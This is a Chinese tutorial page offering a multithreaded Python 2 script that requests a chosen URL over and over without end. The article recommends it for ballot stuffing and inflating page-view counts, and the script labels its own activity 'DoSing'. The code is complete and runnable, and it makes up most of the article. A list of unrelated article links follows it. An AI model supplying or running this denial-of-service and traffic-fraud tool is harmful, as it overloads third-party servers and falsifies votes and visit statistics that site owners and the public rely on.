python使用多线程不断刷新网页的方法

作者:songguo 时间:2022-10-03 09:19:26 

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了


import thread
import urllib2
import sys
import time
def usage():
 print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
 sys.exit()
def reloader(numthread):
 url = sys.argv[1]
 numreloads = 0
 while True:
   try:
     urllib2.urlopen(url)
     numreloads = numreloads + 1
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')
def splash():
 print 'welcome to https://www.jb51.net/codes '
if len(sys.argv) < 3:
 usage()
if __name__ == '__main__':
 splash()
 print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
 for reloadspawn in range(0, int(sys.argv[2])):
   thread.start_new_thread(reloader, (reloadspawn,))
 sys.stdout.write('')
 dosind = ['-', '\\', '|', '/']
 dosstat = 0
 while True:
   try:
     sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
     sys.stdout.flush()
     dosstat = dosstat + 1
     time.sleep(0.25)
   except KeyboardInterrupt:
     sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

标签:python,多线程,刷新
0
投稿

猜你喜欢

  • TensorFlow人工智能学习数据合并分割统计示例详解

    2022-01-23 05:14:23
  • 在子页中隐藏模板页中的div示例代码

    2023-07-23 12:12:28
  • Python 多线程之threading 模块的使用

    2022-09-01 23:53:27
  • python通过百度地图API获取某地址的经纬度详解

    2021-11-06 12:14:45
  • MySQL的安全问题从安装开始说起

    2024-01-14 05:11:24
  • Centos7 下安装最新的python3.8

    2023-04-29 14:44:13
  • Python浅析迭代器Iterator的使用

    2023-11-07 12:04:25
  • 修改mysql默认字符集的两种方法详细解析

    2024-01-27 01:48:17
  • python爬虫库scrapy简单使用实例详解

    2022-03-22 23:46:11
  • SQL进行排序、分组、统计的10个新技巧

    2009-01-23 13:59:00
  • Python设计模式行为型观察者模式

    2022-02-20 12:32:58
  • Go语言从单体服务到微服务设计方案详解

    2023-09-02 02:45:57
  • vue实现百度搜索下拉提示功能实例

    2024-04-28 09:31:15
  • 关于ThinkPhp 框架表单验证及ajax验证问题

    2023-11-15 06:33:05
  • Pycharm激活码激活两种快速方式(附最新激活码和插件)

    2023-05-17 12:07:07
  • 在Django框架中设置语言偏好的教程

    2022-01-18 22:47:35
  • python将字母转化为数字实例方法

    2021-12-04 03:40:17
  • 不用Global.asa也能实现统计在线人数吗?

    2009-10-29 12:28:00
  • python+selenium实现12306模拟登录的步骤

    2021-06-18 15:32:56
  • python调用私有属性的方法总结

    2023-09-06 03:16:18
  • asp之家 网络编程 m.aspxhome.com